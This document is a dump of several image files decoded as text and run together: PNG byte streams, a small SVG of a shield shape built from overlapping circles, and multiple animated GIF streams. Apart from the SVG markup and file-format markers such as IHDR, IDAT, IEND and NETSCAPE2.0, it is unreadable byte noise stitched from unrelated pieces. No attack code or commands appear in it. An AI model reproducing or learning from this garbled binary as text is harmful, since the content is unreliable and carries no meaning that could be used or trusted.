?((_noa9Cu, N()ejK/smi2:p[2} 2QI>c2\%~јE VF̎ c¬o'Gu׮\T'CAMe]NL3!{P)P>H_oMvS;9Bީ6狵Α!F?|^3jJr-g	H-Tpf4K1hix5A Vҩ_pʈP#3thtNɚiB b@AQp?(cyQgCt*=?J:c"}~[wY6zSgv숀_mmƍݠt)`}/*W  j5Wb\5BbpZ<.Щ^|ӇΒ2	pJr!$t:D]U?;GL(a_\
;{bJ_sAms),kW"L|q<C{F bkNo6I'kc 	`RN}bG&@ 	<h.:p>Y㞍]REj^naB	}R_ Z	G:<y~fGَxbth[\X-vlҡnqqBCRٷ}P9^>?4_SY*](_еrL[9u]9~aqlXǢl!},Zl;yC</ߕvZ|ib1Kr-s̗=^qgο{dX,m+KwϗpτǢqپNY_Py/)#u^wu|LL
$vfٔx
BFñ7lI
*.fjs+O $ 
7#'~I8w-'
Jk1rB{
 2$f|o
 !$+C?bSΙQ	8}$8'2bD`{Թ}fB:>$`:e⋌ݴg2kGdAA$U'=(V=|;"`7ncF
ů\|6>c-P:6:fsc-:o|[_sn|grߍ1^6hXmnc7oٰmq&]^6vr11wo˺Kܴ:7>۴~__gƅ6677u|cc7eߖM5k#Z5Sf$̫v2^
9YόD2KynY=P'tn)`|L$1ߵJf*`Ltr8F0p
D~2̮:ҙ/td& .Φ?cgAɤ2[06 )T&j+|U	l
j&4Ps5y:#S5cɞRV!R-}X}@d	(@ѿYhaҘ^wYZDA#OmsF IEv6^mK!l?vb,4C-{M{IL=JG&3ayB$&,T(,#[B$uR¨8	*@#n@;x34uFZ ځ^)=
RkM$Y_݉0O'P%X04Z>G1hfGgG5:5ԕEzh5Z#}m:\]VWF}Um 3AsqR"yUTΐG%SunP[רU_q2AM& PbW9cXKG}¦|{rg)lWP%I®_¦&3JПU݇Y}rh}+h/gz-ȡؗAU)%]`Tu+GЯA|4f{
Ww{h%їW9hHa%GltTC؉
Yb1kDEBAx>$_"3}i\d̰ãnr:5J.gS)) qzLA0ރ{0F|e%~%Y1p->dgNc3Wh/&
b0v:/[U?<G:[q4x]%1RVuN޿d</\NYPka3;̎ՎJ!P`êDݙҡAT
>T8Wm
VR~F@e1zF(`(I޴.|[9iDp#&[Ee1ңSpOT5EjKV4@ƣsst8a!}]!0d+NB`z%bL}D[-㚎B>QUX(12A^G'yP1dQqpxcfu'3s
_^fH8gv4`HƃvDGaQ[P5uesA̬GF{$#pCµTq4R1RGcx?4JYkﬆՙVWapV3lL3bG1%w"R:VNfBS)\V,	|跊J	r,CEmѴBI)>5'3˵Ȗ*ga5G~oUykoa-!hfG3;_;"`ZnsPN2]yp\
o~amt
dxJL @h
*iaեb h>0˵
,HwBGU@>vxhu?=<Wנ
f$5gP

յ	gj@
ʌi,B"D,ːЙeeAxik=
drȊu};24.A2ZyL-5336>^̎fvv#b N.B!jIҐ8f~+FlxPxcB`$tPV3J@:Äp-`$Ym2&CÁ:
k	_:~NNwJaTJ0PGd*.8%my}㪁7\atT}6ZyvgCb~*2eAzHr8<c: mpt D%Ppk@T1s<O̎fv4#I"8n(Ɋ#MpAu+4FWۨΡ41p428:q`#kT[)~:*1z:ʬẌ\`	y$!e6y9!pbTGzA?
,nQlVۂ2&
i6i28@υ~b}H:dX
pPv3tD`3;̎ՎDflmm}e-UwQ'    IENDB`<svg width="320" height="320" viewBox="0 0 320 320" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><g fill="#FFFFFF" stroke="#3858E9" stroke-width="1.2" stroke-miterlimit="10"><path d="M256.7.9H63.3C28.9.9.9 28.9.9 63.3V160a159.1 159.1 0 0 0 318.2 0V63.3c0-34.4-28-62.4-62.4-62.4z"/><circle cx="231.7" cy="104.2" r="35.1"/><circle cx="221.1" cy="114.8" r="35.1"/><circle cx="210.5" cy="125.4" r="35.1"/><circle cx="199.9" cy="136" r="35.1"/><circle cx="189.3" cy="146.6" r="35.1"/><circle cx="178.7" cy="157.2" r="35.1"/><circle cx="168.1" cy="167.8" r="35.1"/><circle cx="158.1" cy="177.8" r="35.1"/><circle cx="146.9" cy="189" r="35.1"/><circle cx="136.3" cy="199.6" r="35.1"/><circle cx="126.2" cy="189.5" r="35.1"/><circle cx="116.1" cy="179.4" r="35.1"/><circle cx="106" cy="169.3" r="35.1"/><circle cx="95.9" cy="159.2" r="35.1"/><circle cx="85.8" cy="149.1" r="35.1"/></g></svg>GIF89a   ݞ뀀!NETSCAPE2.0   !	  ,      @\x.&I` V)@+ZD($˰kbLw,H  @G\e7S(C*8q|%L{(t'  !	  ,     Px0"&)C 
F0g H5M#$l:5̧`LJDE`X !	  ,     Px0"F)C 
$PJ!ngậ}ۭ42l:m'G"LCZw9*e9(=4$  !	  ,     Px0"F)C E$PJ!rqwd1,Cw ІFO3m*lnN3n(f 	d.=EC$!+ !	  ,     Nx0"F)C č"	 ٨n jq<*&g"SZSLxI  !	  ,     Nx0"F)C č=wdFYp FG3 Uqܤf"3'pݶ$XvĒ  !	  ,     Px0"F)C čH~GnnB@ͭ-'ARC2#'g"PLj\Nɂy,HT$  !	  ,     Ox0"F)C čH~G\h7#|0R#'g"P\O!)`ɜ$CX
cbI  !	  ,     Px0"F)C čH~G]dnw$@=f"P\إId\iy,1$  !	  ,     Nx0"F)C čH~GԯAdAA_C1a"h"P\d\N}AĒ  !	  ,     Ox0"&)C čH~Gԯo`NQ<̄ȡK&`ɶCX
cbI  !	  ,     Ox0"F)C čH~Gԯ)!-f&@Bq%`ɶ#CXDH  !	  ,     Ox0"F)C čH~Gԯs(	2Lp֬!%`ɶCX
H  !	  ,     Lx0"F)C čH~Gԯ\ Hf\l]z$%ÒLcq:K !	  ,     Mx0"F)C čH~GԯWORdItQ\*5%rJcY4 % !	  ,     Lx0"F)C čH~Gԯ=6p&ekF#K&"K !	  ,     Px0"F)C čH~Gԯ>
p'ڇP#z
%nx,1$  !	  ,     Ox0"F)C čH~Gԯ>
p'	n&90'v	K LCX
cbI  !	  ,     Px0"F)C čH~GԯHp#j& P0]zȒ<Liy,1$  !	  ,     Ox0"&)C čH~Gԯ`LF4&B0rJEL CX
cbI  !	  ,     Nx0"F)C čH~Gԯ׏FBrf BM-U"(K 	Xג  !	  ,     Ox0"F)C čH~Gԯ=3&¥J`%ڒCX
ĴH  !	  ,     Kx0"F)C čH~GԯN8P,X(A] 3-0UEH !	  ,     Nx0"F)C čH~GԯEhLhr\(9L .GM=9%,Yi  !	  ,     Mx0"F)C čH~Gԯ.D@P7% (%LcY4D" !	  ,     Px0"F)C čH~Gԯ ᲋0PR|QJd\iy,1$  !	  ,     Mx0"F)C čH~Gԯ8.aD'1 ɡ&`ɶ*"
t% !	  ,     Lx0"F)C čH~Gԯc"@b,$ʡK
ȒmU%K !	  ,     Qx0"&)C čH~GD ֎57ap4GQ51vI,WU`hˢyL,	 !	  ,     Px0"F)C čH~GDj1(D:SJ`#>t4r(Me	XJxn<E)! !	  ,     Lx0"F)C čH~G&
*@D(p5
l^$0䚆	tׂPJT,ǲh$E !	  ,     Ox0"F)C č3rwdq ̚yu+ʱ 250lNs4r(]!y,`GjbI  !	  ,     Nx0"F)C čP &|G&LlB<z.r1]f"Pɉ|MXvĒ  !	  ,     Px0"F)C $QJ!Qrwdưfw [йgidDl^H1ZQ
`w&cSZ`K)-+ !	  ,     Px0"F)C dL'PJI
!nw:spqN@:HXrZN$P93"cd$=1$  !  ,     Px0"F)C d@1pmp#A<0H48Er\jH7r(i`Et]j)z,1$  ;GIF89a   ƥνﵵ<<<ޘooo...>>>kkk@@@%%%dddsss===???:::}}}999ggg555///vvvAAA                                                                              !NETSCAPE2.0 !  ,      @p*HšPi6B8 HÀ1(A;X4
U	B2="-<ABoCaP	Jh $ox
OCh
#x{bE
$ueD
hJf}D_	
Z`S PBVsA !   ,    
   A  d &jǘdgPZ &@F1((ABA"P"A(`E%%VeY !  ,      > #7W0$.
za3Xj#|>A8 *dH
bF !  ,   
 
  <".0"
2t8 *\<6&4ǩA
V p:Ll@dE@&@PE! !	  ,    
  CpA !ŀ`4
i8
exp mty|gE Oi%mE A !  ,      [=s/Pul$p`<CFR4HB80Xb 1 t(`,BB(`p(AQQGh. !   ,  
   ;  CHƛ"@Qh2 B) 
bTgjD KHY !$B !	   ,  
   G@pHTH s K!+1!Ahx@(	"Ed !  !rD s
C"{ RLsSA !  ,     \ .1/Ar/q"P(A s5Zr܂*)`$A ` Y& ܋6E$ 	7)A'&.! !   ,   
 
  8  h4AyJP4Я(!0BN@P:kZ 4) !   ,    
  < 4(mB)PHۖqJYO䫚8MFj! RxD8 D! !   ,      :  6!ID@ A-ACy>'cp>Q;}  )@
 ;PNG

   
IHDR   P      -J  hPLTE   333333666333@@@BBB```aaadddeeekkklllmmmnnnqqqrrruuuvvvxxxyyy|||}}}~~~#E   tRNS ??MNSUg0	  !IDAT8ukA߼'%^DG[T*xOă (ڃB)[CzR`Mv6;Λlּ<|{o&
"u\)&NJbz>LN11G`-<):CvD=[B;"(}oNOK|}m`YHg
8CuչrMHos]Xew_|ecnCEOѭ|X;});8*Ձa+x)+1zl,IT')X!TNʷ>lB3~ƤS\IlkE^Mog7k뛫d|ZvӃ>nsMуv{0nW\7 CFL?x\GDB-c`Hg_s=JfްW4|6	kcrț[/gG/(Dˢ77
zVbxEN~7) p_cpGR|.8d`&db*eri"fzk1zd]#7eYUwό/    IENDB`PNG

   
IHDR         o?  IDAT(}RˊA_13qΕ?!H6]PnIN_t6@ݪs{j4L%Fe4b=6~!Z|p΍}SxmT$U.J}d2ywE$c &̲V$q+:ůUY,ib|W+eDQ;X f3z:{${]+:VSwn	CSMav#$.]r11~ڶm~mv>c)/?<\)1 sX@H!wȓMw']-Snߒ'47U͋NTnbMk%VJ	#PY.ИfU0v!KPdk,lEh!~`( #e.RhjZ)k?C-p nTsFטVk'19/Jܐv0"]xf|`T$9v    IENDB`PNG

   
IHDR       0<w   PLTElf]smcû>p   tRNSppppg 'IDAT1mg+k/YFG FycP'RNSu ?`S Eu
0.2L9LesUr (A軇鮒3`UUȇ\3adJ&@ք-`Ĥ  W !%a #w9vV6l$܋Q￫,C QFt=}6+]̈́Q}0TP=֞Bw %{.N%aD uKN@̽+ ӗ`Z5aLtf/ qӫ
92n#Q4$wWV=up׳=TU!ϿND
 D1't S X	 0kj4˖&6DǄ&58=60cF/  $a/O_!'@56
Y`;v|QOZU
'RHhQDa9VXa4@:(` | F2	Y9I6 40\I<B '
q	,9 
Hԩ|xzz~|<.:au 
YY4ܹwNI0%  {
+$Ն
pn]z* 	C @jwp:?~QoϷ[չ_NN @ ,s#1
â  	 
C-HH`T `4   nN`do3JL  6eA'  s/ޞޞNǷo_<^~awM?zV `#  NҦa'
   BAAZ l@T
@C6 Xu' bX
 Sիnzdڊ<d˲BlE 11l    j '_p + DFX>"t /",h )$u&1#P {=Zņx B 6B8l΢   F Wj]{Y   	p u d
 5
 xhX!+mTՆht c  :%lX Q, @2* `}H   p : 
(, k+ (rm;$a3LFѨ@:;
q
CA@,m
0 , D*s !֙Q+W/;Ø  dڇYY ^F/+ DAr5  	Aڬj,/f,)    C's1ֹ+  ZQa@=\
Myz
mƌ 6ba赳y|  ơX@qBS=_߾zTP6 ;R11=S'@N@̜b   
rW X m5@ O_Cλ	}??jL cdŲz~9
TUK (h2TJ jXFέ65
jP@R
  V  oX+,q차'ߛ_?n d8γ
Tz&CڤsK L&ȡ
Sr.l pj3*ãpBU,  s<` ͘ ^/` o?hu42TgLؘ@z~4hCpl +aLWFљy`CᮺGe]wGQX -XȜ	  :!>CHG f[6 \5L'tl6چ'=_ۯCg w<'D+QAZi0lȂ֪
caۢ+쁓PP 9 '0`Z @ 3f~/,h+2T1WUO˝oݧj
 rK$Й$>4[BA MM`  /@g/у & @-9Bݰz?}һuAM,F	 	hIv0zth; " H +6  b7?TL *0W &$( H==)^z"MPmFmimD),5
  MNp8Cǘ  pW xN 1aWcWe-󓯶Q  ֘P- iI\K+k WoV|wNCU˨
z"=6s
`쨌cUe @4$@L    
zl>?j~yy>j #;hHkۘ9 XOSC/ӆQ{Pˀ&x$5
  `Bڝ*΅ *Y :   kOF	]?zX  0l bag0 LϪӫ;zLe2 I{:}&@1ami5
`EE+  blkQcB/=O^g4\S  VmԨh `q0f
ճs7}Ԏ:I& pN5 	1TsN Na$V  X.L&
 Q
c_>_dp-XY;Eh/a%Гz:^F5+аw Gc.,R	DeRvxy׹z  c  0  `R	 `4?k  }V:3{4EWbK=}Q,:c.b + CS 	`& K: `LXa p,b}%gf IC"tca`F|rVJ*cLk,G,E{bTѐ3ѩ.  U; ,0f̄h`5ܛ`^<8^#'Q?"&|R G?YU+ɊZ|xU	PN2ý˘ŰCe40jӽu.Q,m`%٢z ebF g
rz>%O^ԫڡM7}L Eةn  d_s\4vW sRJD; $C!h ,8i3ܣ  pq |UTACNԟ_~{^C' =^GBhScW1 Xn4Y:u,;8{5"dAC/K<8F1FGD:N fqz>6OL_^<{yz^xmp1!9R@jbc@0w9fXv:-ʌÆ0/_aGS 
ОQecߛ4_	$T8/C}R?|xM&Z9Ҡ	Qh4ݳbndӨڲH @n`0\& ܋?
( K
j@eѹkP@&phb=<<GӋWO/2!pxPfnDZT@6=f݈ht%@ 1(H\;G=6&/PCáN,ңZ eu0pN$xLϧg={27>|uRG*FZC=$&C`Pz̲F  & 0{QY~Ͼ=!j4hư`"1! 	
$tbzUOULzƁ9
*d٩
! l 	00&:h   $#) `&g>6P {EVXc&@.า QZw:UU;U 1Ǽ+kv
2'97 `	' 2,rd[3" M dd%  @i-,V/'UzT4ljĹ6\B`-@! dcz `t/lb9xt=4c%`Xw)@Dv(  (M+ZB颪jJtNiG75jlа; M!u3<Ht  Ȧ.i @7擯뮃h
FQ+"`6j9 V]YIK(/0T^Ϫ>3|L զ琬( 
m蠶qM EC @ɐ!F Nx:+7zlɇYIX԰ r PuFy(yTUU;MXPtnl*i a #ЂGӆ! i&lpb  0Yp$UV ciRyԙ` `CuBTH!YUUP6@F @ LF
ñ1Af iF
 
 dr`i 0h iW-D
  P zKKӋ꣪g݅{k X!&0<Cա@4;X /=  72=vP
 QDi6l70&Qd;8
&
@EI'OD":Qi-	 PL&<3ɨe y@EXt`aGO H'l4	#Z - 5F?\   `XC<\={RzqK"f n$C,Xh;,{5CcY1X`R@ 5k !@j`IEz~vBLrp&  Ѯ2^UU'w3}N ܲ62z hjʩ&PDfp(@J2 + 
BXQ|d 
@U+gG˓3kؤGK];un*! "93g.0iR{LbB 66a^JIl C݋"([HȆ@U=gkF|z6i
!5\F1TH0  ;= l	0
@ ˜T2'm >~<Y=!4
xXq^$RC}vohb	BkX0,  ,k =,蹢shY$   dD16 prU{naxp]ҩգҺ<QQ 
'#^znUOǋQ{,Μ4@y= $ dhVtrpw	  
e ]g F
Q?I72Hd4	Y9S{x$<9_YUU@.+GWS0d9BchQD0    }ٰ, +BL^gIS'L'	 ѐ=<x죺Orjr`]&٤sZN 2d!ơrª&+J7  `     ?VuMZxCj8`8pҕ BLa"U3NU 
:j/ d!CF3ldCFaCD  @ Q -LX@CcgJ=9 LC8Y+N aqx>z\/v̇׋V13& ˺:`UdXpN=w
؁(   v  䎰
=T'tG  mp ,F)
=lxxVϪr]fV3?`ñO `V[ұĆU   ,  W'  5[= `iN 
fŖ6{=.>^鹇^/]ef'~fz  #&Dgoc7bļs6D: (	~
 :+;YaOr,O,y0`k2L2QDqÇ߽zY=}UU#f2 E~ïR
X ;9"m؄b E6 Dn N Nֵ68=&<ȡqң$p9B!sXc'O7媦WT 	o2I @&3`( 3jea
Pwѣ
jکm	O6EúsY9+9C=UTx$
џ`Yr\RU^FH
^

V8 td96< .pT5	 eMgoOt{/WЧg6X#Q=>j@B@&YN-Q'](F]7 
 $  F-T&Ԓ{
5UA"E}{ :,OOdًS=_=di,b:Çqn4kLF
CQsf̋]* u+  @TT
 =k̄ 	
 ,0JV[<|m,>\ P^}zm=tG`t6{cV  u<Q	1V 
  V 
 .( "so+ ;uu	DAьN  O
Pu~|>_z~zE(:; pU1M	Q@6'#3C;Xb@ǝ '@/sBz,½<G
b{TeǠ )XwI<P|x;~RvKB%	+,fl.AL  &
 4\88c"&> ,V@4 `ܵTU^NzQtUu	g	:Trd+D6Y
Xd(h@X   3:s ^)7Ą,k#`!=8T=z84=+T=|P @f
MI	'C%
 u + R 
Qz|%&*&l TO_F
Y
CXQX塆\TOgUϪEe1cSLjqL{ln`hmg
M )g/=
 FF<VqO` O+qh")BN 
6QVZCEU}BS=d"rгz?Ρ
aQNC6:!:{`
Q (  ӧJ`}ds5!
L`EڤE6ӭPN T=} Db@0Q | a+    eӫzt&1bzލ"&  Y 9zC=ZnDrN[X`uM}Kng
'0  X dͯ(r:Nblql    
GQIUKUth:eCZnG\#@  ( >5 @~#dX  ᩛb48ӆDXYW     k
tғj^WTz 0Ӥ6ayNa   '&ȆG F ڄ7k ,   P@6hO^|UϏ:#!?|ëspr
ɖzB{O[YPP0 '3&1|*7 Ŧ*,-AcX  V+NW=y{UI*?<}xUu-l 0jM0fDư q
 	a
 
L@6 h $?b1G
XWL 5WFo^?=]
}糝G٬5+<}3;u\GwVA+ 0( ̎h fD D
  	Ѓ%bx
sLb;ؗ    k7zV<?_P}fX|p1ЙsɆ-w@`8b4, n_  u  
 M>aNuP *! 
@V0e7S+Qw=??p5Vz5qm\'1S;'0y,VCFsLH@(@4 pß  oǙ=}T2\Q||!K
`!hF_N/TF7O?\}MM{QUITq3{!9GF DC@hn} o+'j=:t{,J/@Nb\veQDzGϪ B=ϏO?\}mUǥ!IDFGƘgN`B  F n}xM0<0RM֒MZLݠҋ.˳'MY
oo?yUQ0D{fI8B6 
霰@A¶ @ OVwax0t9_9̱g5,y_ h 5`U?xQקC%}|zyMwUuAtB4tf1vtǆ
aCz,	   qhۗn8y9b (z UjgÀ@UUU?m%ooϷ7UO
qf
-@Ue`->X$,@hY X  /&0?zR- =8,  ( ^;@t9=/ɧcT>wooU+Tae22zԂPw8ƘL.̀
> 6 l^>}9l^
F6dAZ
l   vCUUtQU^MՓڨ*D4d/PPOPw'V̬"uB4  Hun978?l?}}6hUT;bB@1`x?}9u"z>:CU{3ͻw^/Ϫ>\ӯ&tcN1ԇMݝΣXD  @L OZd| o,t2c?sG( '1C7=}Cd'x=iUϝD==<?{z>]T}xTصApvP}xYՋv2dE @L W?   cb{cGo>
 5 R?+P&Ë&1CS
LTOonY=_zC`G
%B߼ج   ҫ   ߬y,-Y(rzPHۯ>v 1FQ yo{mHzzx񬪪6Y8r|{i3>{B*c>304PO	0aEs2}@H fCiy,{CGYkTiVzp_g5   GX!?uHΏo/zyv֨8Tso޽>n:T:tcGd灩z~ӕEZ=ѣTaq:~v҃1'k}$N
SX VQcR ۵O/Wթ90K<_oo/MM?NM2aΨze݋AYKÒ`֕Ț|   X3aO^~"VغR7q    ѣ&7G/z>Mgn&vSga2CS7B[g	Z,:X6dAjdAA D:  Xa uףxo L`NN   ֟
ny^?v{гG	xϯWUUUUUwգËŖ
!Kjn
8 VX-4/jxx9Ndd1}i
  $
Ci?v{y^TNh&8[UUa\o?|US
?\ͦEk+rKN``YS  'a_u:9"!Man6+h  4|?s?ߙ_@zݞGtr=Z +By}qSUo?|VU['gPá#=c`hHE ,+ +p g4|x9@ʰߞ~  W D|UrD#v{9y}Rth &kGUjzｨz9;m:a9B8Sǝ( (&@ذ Q '_饳`Č 27'0  ݋
㯲׿`ޮ[Oj>,coo<ÿUwn.6tԌ9:;YN
X qW 5 Q
@2
|K~
`dd   `<^&	OOpO7	 5߼y~.g>_U{}W=SX&veM1i    ( /  
Qqu ܝa9Fo{    l?{OWab|-%0C>7Y(O/޼=_UGu=1 Ƥ^:#    f-    _d \T	   Ϟn`_'@ӻI/_l jr^޽}|>>}hE߽
msF^H9    0bY  0jj  `̄K  >%><nWxٟz8/JNxR!UՑ8Q!
@EŜ[   ` 	@Ev@̘ TcF pҬɰ
?z  ~
d܄><nWUW?-	\x|}s~U'yPO7Hzt0;eL텅l:	s `  ` KEń
HK VzL5f^[  伫-@6s.p=^iI :IǓ:Dv<q'j
q	V   l	QU  F@ۗ_  8~ټ.WUug@Çov{wvSNTUգ*j_sNF!{pc  @ d 

$l/wi

.zָj  $0
dCӵ8~G3>>:$'ݷ?}]UONUU=Tsuh&yBX6
 +@dM6 &tN>rW0E@@6O
(`` qz>TGm#YG;on9mOz]Ku:aKk]k=ÃjY   a d}<YY~ @
|   aZͺB^
g "n^UۓVڨ5lTkl@FKB= `n dCM֧_dy0ʆu[P+nԒ  쓞@ю`]ƹ@ЇgUUEQ}Ox]B=:qx`ԆA4CUm    `( Ǧ:!V `4^s6:7( X`vc/ ]`CGUC>H ՟wvzЊNUOZLuZYhv/dG'l +Y >2 ?60	 (sj 
@  <= YSAzթCOMNTO~t{}y]MNS°qf=ڣ@5fb   0%'6,Ch1b `d	06h  
 +
@ĭIUwOdz׷O<ݞUgTI=cncnT'L6 (yy7;܇L,FaN QB@xD  @ Jn@	<MYU%{X׷/<xYCtQ=gҹEE

!&,fڔ07 ,  ` 060
  RL CVjChry~~|ݼɋ1A{mהUM(a6 41b lP 7 L6/W    *    D|K+ fU'jChM}U'=_4;txf̍4ZdН,`B 7Yf7 1S   m@   /5ɳW|g߫ǍT׋_x>=T^uGw'
9lt]E[h  H:!    _
< 拓zUR]gO7j;HYNu_Tgt0ԩ9&d*
``h2a  O_Yco;! &Qz{i e`=t  |pBxHr\t<;_6t>}q;YP/p'B-zLFԙ3{L  q1  c2S^Yֻ::P | dg ;!4@>_T}U?bϗ||V=9TY'cFյl1cm  ,W'\   
6 &qfllf#+k)   >}tB{Ջ7x)ɧ'q~^sF%{49Cm	Ih;-0&$   D-4@A14NjϬ¦:0cE 1S! +iV.ެ!:<x^=УY'Nl
jCIMHujE G Xb +PrXN嫿gHԣhF
  	 @1aa ӫ^㣏O>Mc8kWwkZǄ[sxX&jbH 4 " Q6N `4Eg8?zg5;~TA dC 4$bEǣ^.7'ＪGڪFg:DpJLp&9ս
X `0jěW B3f aGI qj`N 
b2 `YXrE_؎S}UI%<z*av=]n^3% 	 6 uL|xtMأX `- X  X`B2yԃ75jw>^jIb{4IztGu4<hi# `XhFlc돯cIwM0
  *b +[]cT@L<>^tQCv{s<?<S|{s.1h=69
9 l   !Q?(?҆|?La  X  @Vsa0VoيtLKy9n^t&AۻۛW' l:Ժ8@    sl hmFgӹn6ûe1W5Ԟ   @
H '
OlZ^tNG|b
t2:1#e[U8Lh-  X  D15x3'd
1		    l    $,Ƴgk4sq?ӑvc[ G :LFg
1zչ2
\(     TWQ3^6 ,+   Q,@6   $Ehً?}~?or9=>zU1mORXÃc"P69 `  7V`X߼66yZ|r~yzK+        碞.WyA{ţtQ==^	 }Tz	0b8Ìb@* H  U`2-N<饀jL    3%
l3ՓևP'5Уon/׋UU<   9Ycl̬a3Q X:vA    	w
+<} 6~ Ѕ-"Xt.  V- *l$=>T{߫POדNt9;  HFK:°		,`,,	  ,  P@<} +  ZmL%:!'    q#G'>=n:׎_qbqzz]N/gU['+M+f#sK!;a4,90lAY~'=+]]5ШI} gؓZ[VAARqЃ<
r}rA#Xr2m5i(AJ@4MerI9A_
ol#ZҲzVI_Mrr{{~~1I}~}wMPvޗ$z6AEVV1@? @{}<~I3a>}Hkp,ʴ Z?M^:g߀v2gI$T~_{量ǯuIwO$7&%$hsYLŨbu
^-ɇ+?~Вhc6Z>#4Y8gl&?}z{͏ɺ$|zMz5ᔜRZǠ!'m˂Y@ofw?mXmA	 G+zwvZF.	MR_w?$yVt6v-dM,hþu8Ov
-}ғ|(SͦZB
4lSmXZho6)zq\__^2>?cɏ?sVs^?_o<%iɴEˢ]S#ѓ?/m56pLͦ@8t~g׌>};K}ͧǯZ4F977Ll-K_?ߒ\~S=V?&?o%
FJs\9#-Xoi{$ɟzaphScLЦQ;\ik>}M@Q؀%?L]W?ݯI/?}^nϹ}tL\k	8iCϹ'==gIN9wK_&P`	(gAz)	@}=И|ݧhM~/:LgٞzӇ~Mb<}}xݿcn${z?=&)`T$EF2'5'sCYS %ɂ627 zr9ހOW[U VFofzfg{>S>{6I9w~t'=W,=9Y=e\fn&7]uLH @Hvƹ aOޔgSO
 >eX#s8sKr/w^K[{Iwv=$I7sA$#edqkhM6@B`Ȩv^
Ў&㡿P5z'&4i[iq+In}{~x-O_nIÿ}I|cC;sjIVOh}kg<D¿M)IڂڪW̏~mh@˻<4&F zO 1aq\i$Iקy|}=;%{ޟ?|x|%I2wDf.I̜MV7-hq2 -OBOy	ޖDgT6Fj1M-<,}I\$I\Hݷ//?}:ks)vaJv-57̬ k <[jL4}lןnjlsm7H\<&IZ#Ϗ/?}}t:[ƤMq2Rl[>ӱ$%ܳJOh@/l[
M TO|ݨR
 oۡ/KK$+>$<&$_޽<}v%&Qpdv;-sVISN>{
s 
x*ZhؠӐӯ0hցxZ"Ym9#+{/M$y?fe&}~%IZ;vfnLu`ԑs
6˭M.3{8x}-|ovFÛ}$^ZzK\c%$I$d$?׷_|.TTƹh=%39SҲ	h Ac<\Ceڢ_}}{^22ԖgoЂvE"	F'k$rIw>>럾ϻk6fQ^֘i/ۈ
tT& h -GFIn-`Gw>?*'+=Tci K9DniI8'o>IInܒ$ׯo_߽?'+9heO}h(z&3/t$IjŁLh@h|	m2?ҿoߋ֓:_jeV$֓Ne&{/c5o<&Y#襗̑e{fo22ǉ1v{kЫKwXpO[93ԧ4[?k%5wZiz 2LZ.F}\-y|KϿn?:0;}bYp
&d$ z 8@?upOPF1)&8
qԮʶ<Fv~O_~o{&MO(=6k`@;P Z7񞠭cYӘo,le3lw_39q*Z2HB{m?Jr}{.y|?&_gL-,l6}Ly j ?ʇ{27fbsfԡ{l~WsaIzxlY-?{os$$y(Z09	9<`~޴^FA[|G?e>yYhs27Go'@`pa,%=[+ft-Y}zx޲皷ycryz~&I߾O2ajYySrNЪ	0ɨM?gVFA@k'@@{YR:][
Hi.VO!zmxoo5<=9>9OCDvɥ{8,ogQ6
dG
6@{YS1J4:Nud9ϿbT9<88ZtN.9yܞ=[krNrM* ?bs)6  5;sTvm$Yme:ր.e[KV}F-($+	K$O߾v}}KoIrN$ɩPhclYE
cZ_

3Y9zs @2VO_1,yU&mjBoSěDrFI$/1OϹ?_o2r{L$ILvV[s,ڄR2u0ВslVK  ׀x}Ha,(x[ޡ14,})ZT[yLٳr%<n׷{$I\#K8dd`'cL˞j=ZSO_ hL ӗk#~5&W0k07-'+vV[ҫhW$Ib[{^~v'3O$Ire+u(/#Y{kfB돿Ibzdd^?ܓ$ @/Z#}弒bϾѲQJ_zG2ڃٮߵc;rq'z[$Kz]%\[xN5rΩDOg&Pv/^{ZZ$I> 蓣F&[{mi^t?f$ɆVҞֳZNu%ɺf:ڧY۸?>>~$'ڮO1\/%YIZZO|'I  h-sǏ)/Z쓖$y  ?Z#d%26LҒwy&<閕{szzboLG;#(>j:ݏdܓ$ɇ{  [g?(׏f^^/V`l@lF?)s[<9yd~#y\__ғdd͖82.\u#Z$yz<&yI{^R
 Aq'C{lۨD~K$ZT=@/A֒VF9F]{#%INPo{!dQ<1B$y~{LnqN2<Р@=p}9z(,Te/\{Sf1M=$I)$~9kK2gR33ɤdOD,=I޾O93Y4x   ,K`P0hk~KenSlՁ
	K$Ӎ~3[nWVeXIɒ$L&1򐼽'kJ&
uϹ  
 1=ח6g3`i3h7)Ӿj
hEuNU-斋\/=I\qJ͖2N,#I$'I&$IϾSwGiAOARɩP5HV[;-T[Ǟ\J;s,@_suN%ߧsZ{\oϞ$tJY%y$n=?xKsF;6F
 ;"_q FŻFnjW-h +IRjI˒x{omn-Id^j96G\k$^kI2;:/``v<[_i9nY)/1V^l'mMکpKnI}^"$I.-5*IIR-z{$cIM,ۢaSf @O-`TV>`
&cA,w_2&mT/2n䬵&Z)q}IܒxI$'50M˘#a$'Id&Ym+ ef甩L 4 /;iv	ux{/MӇ_̞7#Â6ْ:FdSu]9$zNT˦OZFq$k&VO jK 0
3	1-dM#yp耖Փ/[lyJd3{VKrɛSs够VKzb{9IfO$$KI/#S_LPi@  L/jr?OGOb*ye̖f/
z&KK'$-4R-jS_riek2$-U$9[mvm,@  `jxd}希-}Z9[FB	㿽FjYh!IKN̴[)\2{]e9eomkk\*sN"e*v48dfWe/   	^#߁l,'#-ÏwlT%}C-5 ,s$	IK%Ehn&=鲷v:7Ԗcl,=MSkaSv=  4OOw)^P], ?x̾A6JLk\HOE뙰r&m҃MdL$=Y.=en75`1-6 
1kq31ic$ ÏwˬN2Xh._gOr\_'IÏadAJЦV'ɤz0cfjl  `4yYyawz+ƴ^nn#9Mޜ&w];'{_	ܒ$?x˖t*CrI`ZA\͑m$iG+jk6}btzޗ-
wЗ6N9Oz&Aež_s$??eemϗ ˚=Y@KZoLD, @ /w>}/O^.E :>RmdS N_ חI2lڦ8
q<>,&@KT.쌉-p4l
И`(4yԾۯ̼.~ײ0*4 ey,bO?v}I޾Ol(<m2GRtiIι$ 2}a
@ڄ6Me~>iCmO@+im
\3)=F|Rhח{޾Oc.[NzZЌ#>AOГ̶ &(oCWݠO~=×Za/q(n_ުhח{h+Kdu6`dr^$sBIMVx+EؠM@zWoO |wl-WQzK5~~l+.#K2FpH4sma iLiX5 O_ZO,?Ťe6VB%IPRYc2}i}d\.f,k)Va 9IhK/@ /ve@
-(8-eA
)_bz.IJ%JN<ICI*LO̾kd=  m$]6 ;Hhފ& k'-6ɨ}2
 Q86ZoW$kd3+sNzråZz2R_Η1{hT`ldfޖanvJ,n."}jU0SoV&&ÎV5e z9%KSK\~NX}ԦOgϘ}JLfZ	mA6
